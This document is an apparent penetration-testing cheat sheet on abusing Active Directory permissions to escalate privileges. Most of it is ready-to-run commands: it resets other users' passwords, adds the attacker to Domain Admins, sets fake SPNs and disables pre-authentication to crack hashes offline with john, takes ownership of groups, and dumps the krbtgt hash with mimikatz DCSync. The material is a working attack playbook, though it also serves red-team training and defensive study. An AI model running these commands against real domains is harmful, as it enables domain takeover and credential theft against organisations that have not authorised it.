ACLs Abuse
Generic All on User
If we have generic all right over a user object we can...
Change that user's password.
net user <username> <password> /domain
Setup Targeted Kerberoasting by making that user kerberoastable by setting SPN on the account, kerberoasting it and cracking it offline
First Set SPN on that user object
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
Then Get Hash and crack
Rubeus.exe kerberoast /outfile:targetedhashes.txt
john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\targetedhashes.txt
Setup Targeted Asreproasting by disabling pre authentication on that user asreproasting it and cracking it offline
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
Generic All on Group
If we have generic all rights on a group example Domain Admins we can...
Add ourselves to that group
net group "Domain Admins" myuser /add /domain
Generic write / Write on computer
If we have generic write or write property on a domain computer we can setup Resource Based Constrained Delegation and access the computer object. See Resource-Based-Constrained-Delegation.md section.
WriteProperty on Group
If our controlled user has WriteProperty right on All objects for Domain Admin group, We can again add ourselves to the Domain Admins group and escalate privileges:
Add-NetGroupUser -UserName myuser -GroupName "Domain Admins" -Domain "offense.local"
Self-Membership on group
If our user has Self-Membership property on a group we can add ourselves to that group
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
WriteProperty on group
If our user has WriteProperty property on a group we can add ourselves to that group
net group "domain admins" spotless /add /domain
ForceChangePassword on user
If we have ExtendedRight on User-Force-Change-Password object type, we can reset the user's password without knowing their current password:
Using PowerView
Set-DomainUserPassword -Identity targetuser -Verbose
Another method
$c = Get-Credential
Set-DomainUserPassword -Identity targetuser -AccountPassword $c.Password -Verbose
WriteOwner on Group
IF user in our control has WriteOwner on a group we can change the group's owner to our user, below the sid is the sid of domain admins group
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "ouruser" -Verbose
GenericWrite on Group
This allows us to set new users (yourself for example) as members of the group
# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
DCsync
IF we have dcsync rights we can use mimikatz to dump all hashes of user and computer objects
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Last updated